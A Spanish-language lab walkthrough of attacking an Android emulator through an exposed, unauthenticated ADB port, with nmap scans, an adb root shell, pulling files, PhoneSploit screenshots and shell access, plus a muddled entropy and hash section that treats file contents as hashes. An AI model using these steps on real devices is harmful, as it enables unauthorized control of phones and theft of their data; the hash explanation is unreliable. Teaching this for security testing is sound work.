11 minuto(s) estimado(s) de lectura
Android Debugging Bridge - 5555
Hacking por ADB
“Android Debug Bridge” (ADB) es una herramienta versátil que permite a los desarrolladores y usuarios comunicarse con un dispositivo Android desde una computadora, ya sea para instalar aplicaciones, ejecutar comandos shell, depurar aplicaciones, entre otras funciones.
Es importante tener en cuenta que, aunque ADB es una herramienta poderosa, también puede ser peligrosa si no se usa correctamente o si se deja expuesta al público (por ejemplo, dejando el puerto ADB abierto en un dispositivo). Esta exposición puede permitir a actores maliciosos tomar control del dispositivo, como se mencionó en la pregunta anterior. Por lo tanto, es esencial usar ADB con precaución y conocimiento.
Por ejemplo si en una red detectamos un dispositivo android podemos escanearlo para obtener sus puertos abiertos.
┌─[root@kali]─[/home/user/android]
└──╼ nmap -Pn -p- --open -n -T5 -vvv 192.168.94.101
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-23 22:20 EDT
Initiating ARP Ping Scan at 22:20
Scanning 192.168.94.101 [1 port]
Completed ARP Ping Scan at 22:20, 0.12s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:20
Scanning 192.168.94.101 [65535 ports]
Discovered open port 24810/tcp on 192.168.94.101
Discovered open port 24296/tcp on 192.168.94.101
Discovered open port 5555/tcp on 192.168.94.101
Discovered open port 6379/tcp on 192.168.94.101
Discovered open port 25000/tcp on 192.168.94.101
Discovered open port 24800/tcp on 192.168.94.101
Discovered open port 24297/tcp on 192.168.94.101
Discovered open port 22468/tcp on 192.168.94.101
Completed SYN Stealth Scan at 22:20, 3.86s elapsed (65535 total ports)
Nmap scan report for 192.168.94.101
Host is up, received arp-response (0.00068s latency).
Scanned at 2023-08-23 22:20:13 EDT for 3s
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE REASON
5555/tcp open freeciv syn-ack ttl 64
6379/tcp open redis syn-ack ttl 64
22468/tcp open unknown syn-ack ttl 64
24296/tcp open unknown syn-ack ttl 64
24297/tcp open unknown syn-ack ttl 64
24800/tcp open unknown syn-ack ttl 64
24810/tcp open unknown syn-ack ttl 64
25000/tcp open icl-twobase1 syn-ack ttl 64
MAC Address: 08:00:27:21:F5:48 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.32 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Una vez detectamos ciertos puertos podemos buscar versiones y obtener más información por medio de nmap, en especial del puerto 5555.
┌─[root@kali]─[/home/user/android]
└──╼ nmap -sVC -p5555,6379,25000 192.168.94.101
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-23 22:20 EDT
Nmap scan report for 192.168.94.101
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
5555/tcp open freeciv?
| fingerprint-strings:
| adbConnect:
| CNXN
|_ device::ro.product.name=vbox86p;ro.product.model=Phone;ro.product.device=genymotion;features=stat_v2,cmd,shell_v2
6379/tcp open redis Redis key-value store 3.2.4
25000/tcp open icl-twobase1?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5555-TCP:V=7.94%I=7%D=8/23%Time=64E6BEAD%P=x86_64-pc-linux-gnu%r(ad
SF:bConnect,89,"CNXN\x01\0\0\x01\0\x10\0\0q\0\0\0\x12\+\0\0\xbc\xb1\xa7\xb
SF:1device::ro\.product\.name=vbox86p;ro\.product\.model=Phone;ro\.product
SF:\.device=genymotion;features=stat_v2,cmd,shell_v2");
MAC Address: 08:00:27:21:F5:48 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.93 seconds
ADB
Este puerto hace referencia a “Android Debug Bridge”, sin embargo para poder interactuar con este puerto es necesario contar con la herramienta adb
.
┌─[root@kali]─[/home/user/android]
└──╼ apt install adb
Una vez instalado, establecemos una conexión con el sistema android de la siguiente forma:
┌─[root@kali]─[/home/user/android]
└──╼ adb connect 192.168.94.101:5555
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.94.101:5555
Una vez conectado, podrás ejecutar otros comandos ADB en el dispositivo, como si estuviera conectado directamente a tu computadora a través de un cable USB. En este caso abrimos una interfaz de línea de comandos (shell) para poder interactuar con el sistema.
┌─[root@kali]─[/home/user/android]
└──╼ adb shell
genymotion:/ # ls
acct charger default.prop init init.usb.rc odm plat_property_contexts product sdcard system var vendor_property_contexts
bin config dev init.environ.rc init.vbox86.rc oem plat_seapp_contexts rom.trace sepolicy tmp vendor vendor_seapp_contexts
bugreports d etc init.rc init.zygote32.rc plat_file_contexts plat_service_contexts root storage ueventd.rc vendor_file_contexts vendor_service_contexts
cache data fstab.vbox86 init.usb.configfs.rc mnt plat_hwservice_contexts proc sbin sys ueventd.vbox86.rc vendor_hwservice_contexts vndservice_contexts
genymotion:/ # cd sdcard/
genymotion:/sdcard # ls
Alarms Android DCIM Download Movies Music Notifications Pictures Podcasts Ringtones
genymotion:/sdcard # cd Download/
genymotion:/sdcard/Download # ls
flag.txt
genymotion:/sdcard/Download # cat flag.txt
Pwned!!!
Copiar archivos a máquina local
El comando adb pull
se utiliza para copiar archivos o directorios desde un dispositivo Android al sistema de la computadora desde la que se ejecuta el comando.
┌─[root@kali]─[/home/user/android]
└──╼ adb pull /sdcard/Scan/
/sdcard/Scan/: 3 files pulled, 0 skipped. 0.0 MB/s (192 bytes in 0.007s)
┌─[root@kali]─[/home/user/android]
└──╼ ls
Scan
┌─[root@kali]─[/home/user/android]
└──╼ cd Scan
┌─[root@kali]─[/home/user/android/Scan]
└──╼ ls
evil1.elf evil2.elf evil3.elf
Análisis de entropías
La entropía es una medida cuantitativa de la incertidumbre o la aleatoriedad de una variable. En el campo de la criptografía, la entropía juega un papel crucial en la evaluación de la seguridad y la robustez de los algoritmos de hash.
Cuando se habla de hashes criptográficos, la entropía alta generalmente equivale a una mejor seguridad. Un hash con alta entropía será más resistente a los ataques, incluidos los ataques de fuerza bruta y los ataques de colisión, en los que dos entradas diferentes producen el mismo hash.
La longitud del hash también está directamente relacionada con la entropía. Por ejemplo, un hash SHA-256 tiene una entropía máxima de 256 bits, mientras que un hash SHA-384 tiene una entropía máxima de 384 bits. Cuanto mayor sea la entropía, más segura será la función de hash, suponiendo que se haya implementado correctamente. Por ejemplos para los archivos .elf
copiados a nuestra máquina anteriormente podremos análizar la entropía de cada uno de la siguiente manera:
apt install ent
┌─[root@kali]─[/home/user/android/Scan]
└──╼ ent evil1.elf
Entropy = 3.768344 bits per byte.
Optimum compression would reduce the size
of this 64 byte file by 52 percent.
Chi square distribution for 64 samples is 1288.00, and randomly
would exceed this value less than 0.01 percent of the times.
Arithmetic mean value of data bytes is 72.9531 (127.5 = random).
Monte Carlo value for Pi is 4.000000000 (error 27.32 percent).
Serial correlation coefficient is -0.264476 (totally uncorrelated = 0.0).
┌─[root@kali]─[/home/user/android/Scan]
└──╼ ent evil2.elf
Entropy = 3.887352 bits per byte.
Optimum compression would reduce the size
of this 64 byte file by 51 percent.
Chi square distribution for 64 samples is 1096.00, and randomly
would exceed this value less than 0.01 percent of the times.
Arithmetic mean value of data bytes is 68.9844 (127.5 = random).
Monte Carlo value for Pi is 4.000000000 (error 27.32 percent).
Serial correlation coefficient is -0.094049 (totally uncorrelated = 0.0).
┌─[root@kali]─[/home/user/android/Scan]
└──╼ ent evil3.elf
Entropy = 3.672630 bits per byte.
Optimum compression would reduce the size
of this 64 byte file by 54 percent.
Chi square distribution for 64 samples is 1376.00, and randomly
would exceed this value less than 0.01 percent of the times.
Arithmetic mean value of data bytes is 70.6562 (127.5 = random).
Monte Carlo value for Pi is 4.000000000 (error 27.32 percent).
Serial correlation coefficient is -0.302759 (totally uncorrelated = 0.0).
Es decir los archivos en este caso quedarían ordenados de la siguiente forma:
- Entropía alta = evil2.elf
- Entropía media = evil1.elf
- Entropía baja = evil3.elf
Análisis y conversión de hashes
Por medio de la herramienta hashid
podemos hacernos la idea de a que tipo de hash nos estamos enfrentando de la siguiente forma:
┌─[root@kali]─[/home/user/android/Scan]
└──╼ hashid evil1.elf
--File 'evil1.elf'--
Analyzing 'a4a5cb4a87623c8b4cb078b1c1a09c6a49ddc6c3a67d8419bb95c0e724a87bfc'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
--End of file 'evil1.elf'--
┌─[root@kali]─[/home/user/android/Scan]
└──╼ hashid evil2.elf
--File 'evil2.elf'--
Analyzing '5d6da041549ec897f6f8a1e05f2062dcd72e677f8185cc987ab917d60047a53e'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
--End of file 'evil2.elf'--
┌─[root@kali]─[/home/user/android/Scan]
└──╼ hashid evil3.elf
--File 'evil3.elf'--
Analyzing 'f6c5229e92c2cbe549a0e7e30e7aa12291a3541d3f09c4a25e5f9e13e69a24ae'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)
--End of file 'evil3.elf'--
Como se puede apreciar es posible detectar que nos estamos enfrentando a hashes SHA-256. Si necesitamos generar hashes SHA-384 podemos ocupar alguna calculadora de hash por internet o la herramienta sha384sum
como se muestra a continuación:
- Hash del archivo de entropía más alto:
┌─[root@kali]─[/home/user/android/Scan]
└──╼ sha384sum evil2.elf
fbb5b0bf4f96a5408f1647c44b0e603c0246259ad55e8e345351605783fae88b528a7b5c54f3c5b5073a2eb0bef4ef2b evil2.elf
También se puede hacer el proceso para sha256sum, md5sum, entre otros.
Desde una calculadora de hash (hashcalc) como se mencionó anteriormente, nos entrega el mismo resultado:
PhoneSploit
PhoneSploit es una herramienta de hacking ético diseñada para explotar dispositivos Android que han dejado expuesto el puerto ADB (Android Debug Bridge) sin autenticación.
Instalación
┌─[root@kali]─[/home/user/android]
└──╼ git clone https://github.com/aerosol-can/PhoneSploit
┌─[root@kali]─[/home/user/android]
└──╼ python3 -m pip install colorama
┌─[root@kali]─[/home/user/android/PhoneSploit]
└──╼ apt install android-tools-adb android-tools-fastboot
Uso
Una vez instalado lo ejecutamos de la siguiente forma e ingresamos la IP del dispositivo que atacaremos:
┌─[root@kali]─[/home/user/android/PhoneSploit]
└──╼ python3 PhoneSploit.py
+hydNNNNdyh+
+mMMMMMMMMMMMMm+
`dMMm:NMMMMMMN:mMMd`
hMMMMMMMMMMMMMMMMMMh
.. yyyyyyyyyyyyyyyyyyyy ..
.mMMm`MMMMMMMMMMMMMMMMMMMM`mMMm. Thanks for downloading!
:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
-MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM-
+yy+ MMMMMMMMMMMMMMMMMMMM +yy+
mMMMMMMMMMMMMMMMMMMm
`/++MMMMh++hMMMM++/`
MMMMo oMMMM
MMMMo oMMMM
oNMm- -mMNs
[1] Show Connected Devices [6] Screen record a phone [11] Uninstall an app
[2] Disconect all devices [7] Screen Shot a picture on a phone [12] Show real time log of device
[3] Connect a new phone [8] Restart Server [13] Dump System Info
[4] Access Shell on a phone [9] Pull folders from phone to pc [14] List all apps on a phone
[5] Install an apk on a phone [10] Turn The Device off [15] Run an app
[99] Exit [0] Clear [p] Next Page
restarting in TCP mode port: 5555
device:genymotion transport_id:1
[+] Enter a phones ip address.(Type 99 to exit)
-> phonesploit(connect_phone) > 192.168.94.101
already connected to 192.168.94.101:5555
Como se puede apreciar en el menú de PhoneSploit nos entregan una serie de utilidades que podremos utilizar, para esta ocasión probaremos las siguiente opciones:
-
Opción 7 - Tomar una Captura de Pantalla en Tiempo Real: Esta función permite a los usuarios capturar en tiempo real lo que se muestra en la pantalla del dispositivo objetivo. Es una característica útil para entender las actividades actuales en el dispositivo y para fines de demostración en pruebas de penetración.
phonesploit(main_menu) > 7 | [+]Enter where you would like the screenshot to be saved.[Default: present working directory] ->phonesploit(screenshot) > /sdcard/screen.png: 1 file pulled, 0 skipped. 0.4 MB/s (19460 bytes in 0.046s)
Observamos la imagen guardada en nuestra máquina atacante:
-
Opción 4 - Obtener una Shell Interactiva: Esta opción es especialmente poderosa, ya que otorga a los usuarios una shell o terminal interactiva del dispositivo objetivo. A través de esta shell, los usuarios pueden ejecutar comandos, acceder a archivos y, en general, interactuar con el sistema del dispositivo como si estuvieran operando directamente en él.
phonesploit(main_menu) > 4 genymotion:/ # cd sdcard/Download/ genymotion:/sdcard/Download # cat flag.txt Pwned!!!
Es importante tener precaución al usar ADB, especialmente sobre redes, ya que conectar a dispositivos desconocidos o dejar tu propio dispositivo abierto a conexiones puede presentar riesgos de seguridad. Por lo general, se recomienda utilizar conexiones ADB por red solo en redes seguras y confiables y deshabilitar la función cuando no esté en uso.